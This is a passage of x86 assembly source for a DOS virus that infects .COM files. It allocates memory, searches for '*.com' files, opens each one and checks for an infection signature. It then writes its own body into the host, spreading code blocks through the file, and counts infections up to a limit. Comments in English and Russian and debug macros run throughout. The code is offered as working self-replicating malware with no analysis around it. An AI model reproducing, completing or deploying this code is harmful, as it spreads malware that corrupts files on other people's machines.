mem: @m1: nop @m2: mov ah,48h ; allocate mem for buf @m3: mov bx,1000h @m4: int 21h @m5: jc mem_not_ok lea bp,@mem_ok mem_not_ok: @m6: mov ah,49h ; free mem @m7: int 21h @m8: mov ah,48h ; get free mem size (bx) @m9: xor bx,bx @m10: dec bx @m11: int 21h @m12: sub bx,1001h ; reserve 1001h x 16 bytes @m13: mov ah,48h ; allocate all other mem @m14: int 21h @m15: lea bp,@mem mem_ok: @m16: nop @m17: mov cs:inf_q,0 ; infect count @m18: mov segbuf,ax ; segbuf = seg for buf @m19: mov es,ax ; es = segbuf @m20: lea si,msk ; [si] = '*.com',0 @m21: mov di,7Ah ; @m22: push di @m23: movsw @m24: movsw @m25: movsw @m26: mov ds,ax ; ds = segbuf IFDEF dbg prnstr _mask prnaz 7Ah ; ds:dx ENDIF @m27: mov ah,1Ah ; set DTA to segbuf:80h @m28: mov dx,di @m29: int 21h find1st: @m30: mov ah,4Eh ; find 1st file @m31: mov cx,20h ; attr: archive @m32: pop dx ; name = segbuf:7Ah @m33: int 21h @m34: jnc find1st_ok lea bp,@end_infect ; err -> end infect IFDEF dbg jmp findnext ENDIF find1st_ok: IFDEF dbg prnstr _find1st prnaz 9Eh prnchr 13 prnchr 10 ENDIF findnext: @m35: nop @m36: mov ds,cs:[segbuf] @m37: mov ah,4Fh @m38: mov dx,80h @m39: int 21h @m40: jnc findnext_ok lea bp,@end_infect IFDEF dbg jmp @m41 ENDIF findnext_ok: IFDEF dbg prnstr _findnext prnaz 9Eh ENDIF @m41: mov dx,9Eh @m42: mov ax,3d02h @m43: int 21h @m44: jnc open_ok lea bp,@findnext IFDEF dbg jmp @m45 ENDIF open_ok: IFDEF dbg prnstr _open ENDIF @m45: mov cs:[handle],ax @m46: xchg ax,bx @m47: mov ah,3Fh @m48: mov dx,100h @m49: mov cx,0FFFFh @m50: int 21h @m51: mov cs:[fsize],ax @m52: cmp ax,10000h-(endvir-s) ja bad_file cmp ax,(endvir-s) ja good_file bad_file: IFDEF dbg prnstr _badsize ENDIF lea bp,@close_file good_file: @m53: push ds @m54: push cs @m55: pop ds @m56: pop es @m57: mov si,100h @m58: push si @m59: mov di,si @m60: mov cx,sign-s @m61: repe cmpsb @m62: pop si @m63: jne clear_ok IFDEF dbg prnstr _dirty ENDIF lea bp,@close_file IFDEF dbg jmp @m64 ENDIF clear_ok: IFDEF dbg prnstr _clear ENDIF @m64: mov di,si @m65: mov cx,vs @m66: rep movsb @m67: lea si,cmdlist IFDEF dbg prnstr _generate ENDIF ;================================ infect_by_next: @m68: mov [tab_index],si ; si = ofs in cmdlist IFDEF dbg_t prnchr '[' ENDIF lodsw push ax ; ax = ofs cmd xor ax,ax lodsb mov dx,ax ; dx = len cmd pop si ; si = ofs cmd lea di,dataend ; di = ofs after VirMain & Data mov cx,[fsize] ; file len sub cx,dataend-s ; cx = cx - (VirMain & Data) sub cx,dx ; cx = cx - cmd.len inc cx ; cx = cx + 1 ;[?] find_block: nop mov al,byte ptr [si] ; al = 1st byte of cmd repne scasb ; find it in file jcxz block_not_found jmp chk_equ_block block_not_found: IFDEF dbg prnchr '-' ENDIF mov cx,dx ; cx = cmd.len add di,dx ; di = ofs after end of file ; ??? push di add [fsize],cx ; file size = file size + cmd.len rep movsb pop di ; di = ofs after end of file jmp end_find_block chk_equ_block: IFDEF dbg_t prnchr '·' ENDIF push di push si push cx dec di ; di = ofs of may_be_equal cmd mov cx,dx ; cx = cmd.len repe cmpsb ; mov ax,cx ; ax = 0 if it's equal cmd pop cx pop si pop di jne find_block ; af ax <> 0 - find again IFDEF dbg prnchr '+' ENDIF dec di end_find_block: mov si,[tab_index] ; si = ofs cmd in cmdlist IFDEF dbg_t prnchr ']' ENDIF xchg di,si ; di = ofs cmd in cmdlist ; si = new ofs cmd xchg ax,si ; ax = new ofs cmd ; si = ? stosw ; change ofs in cmdlist to new inc di ; skip cmd.len xchg si,di ; si = ofs next cmd in cmdlist cmp si,ofs cmdlistend; end of cmdlist jne infect_by_next ; no -> next cmd IFDEF dbg prnstr _generated ENDIF ;================================ stop_infect: @m69: mov bx,[handle] ; bx = handle @m70: push ds ; ds = cs @m71: mov ax,4200h @m72: cwd @m73: xor cx,cx @m74: int 21h ; lseek to begin @m75: mov dx,[fsize] ; dx = file size + not founded cmds @m76: mov cx,dataend-s ; длина VirMain & Data @m77: add dx,101h ; почему 101h а не 100h @m78: push es @m79: pop ds ; ds = seg for allocate file @m80: mov [oentry],dx ; @m81: mov ah,3Fh @m82: int 21h ; read original begin @m83: add dx,cx @m84: push dx ; dx = длина уже зараженного файла @m85: mov ax,4200h @m86: cwd @m87: xor cx,cx @m88: int 21h ; lseek to begin @m89: mov ah,40h @m90: pop cx ; cx = длина уже зараженного файла @m91: mov dx,100h @m92: dec ch ; в файле = в памяти - 100h @m93: int 21h ; save infected file @m94: pop ds ; ds = cs @m95: inc cs:inf_q close_file: @m96: nop @m97: mov ah,3Eh IFDEF dbg prnstr _close ENDIF @m98: int 21h @m99: cmp cs:inf_q,inf_max @m100: je end_infect lea bp,@findnext end_infect: @m101: nop @m102: mov es,[segbuf] IFDEF dbg prnstr _ok ENDIF @m103: mov ah,49h @m104: int 21h @m105: push cs @m106: pop es @m107: mov ah,49h @m108: int 21h @m109: mov ah,48h @m110: mov bx,0FFFFh @m111: int 21h @m112: mov ah,48h @m113: int 21h @m114: mov ah,1Ah ; restore DTA @m115: mov dx,80h @m116: int 21h @m117: xor bp,bp @m118: